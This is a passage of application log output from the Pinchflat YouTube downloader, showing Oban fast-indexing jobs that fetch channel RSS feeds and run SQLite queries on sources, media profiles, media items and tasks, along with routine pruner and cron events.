(NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:21:15.796 [debug] QUERY OK source="tasks" db=0.0ms idle=193.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [743, 1, ~U[2026-07-24 18:21:15Z], ~U[2026-07-24 18:21:15Z]] 18:21:15.796 [info] {"args":{"id":1},"id":740,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":194470,"event":"job:stop","queue_time":427932,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:21:15.797 [debug] QUERY OK source="tasks" db=0.5ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:21:27.403 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:30.618 [info] {"args":{"id":3},"id":741,"meta":{},"system_time":1784917290618177118,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:21:30.618 [debug] QUERY OK source="sources" db=0.0ms idle=1599.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:21:30.618 [debug] QUERY OK source="tasks" db=0.1ms idle=1599.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:21:30.618 [debug] QUERY OK source="settings" db=0.1ms idle=1008.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:21:30.618 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:21:30.618 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:21:30.618 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:21:30.618 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 18:21:30.650 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 18:21:30.650 [debug] QUERY OK source="media_items" db=0.2ms idle=31.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 18:21:30.652 [debug] QUERY OK source="media_items" db=1.8ms idle=32.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:21:30.653 [debug] QUERY OK source="tasks" db=0.0ms idle=34.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [744, 3, ~U[2026-07-24 18:21:30Z], ~U[2026-07-24 18:21:30Z]] 18:21:30.653 [info] {"args":{"id":3},"id":741,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":35192,"event":"job:stop","queue_time":451263,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:21:30.653 [debug] QUERY OK source="tasks" db=0.3ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:21:57.404 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.848 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:22:27.405 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:57.406 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.849 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:23:27.407 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:57.408 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.850 [info] {"source":"oban","duration":129,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:24:27.409 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:57.410 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.850 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:25:27.411 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:57.412 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.852 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:26:27.413 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:57.415 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.852 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:27:27.416 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:57.417 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.854 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:28:27.418 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:57.419 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.855 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:29:27.420 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:57.421 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.856 [info] {"source":"oban","duration":122,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:30:27.422 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:57.423 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.857 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:31:06.226 [info] {"args":{"id":2},"id":742,"meta":{},"system_time":1784917866226085701,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:31:06.226 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=1105.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:31:06.226 [debug] QUERY OK source="settings" db=0.0ms idle=105.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:31:06.226 [debug] QUERY OK source="tasks" db=0.3ms idle=1007.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:31:06.226 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:31:06.226 [debug] QUERY OK source="sources" db=0.1ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:31:06.227 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:31:06.227 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 18:31:06.810 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 18:31:06.810 [debug] QUERY OK source="media_items" db=0.2ms idle=583.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 18:31:06.811 [debug] QUERY OK source="media_items" db=0.2ms idle=584.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:31:06.811 [debug] QUERY OK source="tasks" db=0.0ms idle=584.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [745, 2, ~U[2026-07-24 18:31:06Z], ~U[2026-07-24 18:31:06Z]] 18:31:06.811 [info] {"args":{"id":2},"id":742,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":585576,"event":"job:stop","queue_time":504710,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:31:06.812 [debug] QUERY OK source="tasks" db=0.1ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:31:16.237 [info] {"args":{"id":1},"id":743,"meta":{},"system_time":1784917876237359420,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:31:16.237 [debug] QUERY OK source="sources" db=0.1ms idle=114.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:31:16.237 [debug] QUERY OK source="tasks" db=0.1ms idle=114.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:31:16.237 [debug] QUERY OK source="settings" db=0.2ms idle=114.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:31:16.238 [debug] QUERY OK source="sources" db=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:31:16.238 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:31:16.238 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:31:16.238 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 18:31:16.425 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 18:31:16.426 [debug] QUERY OK source="media_items" db=0.4ms idle=187.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 18:31:16.430 [debug] QUERY OK source="media_items" db=3.9ms idle=188.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND 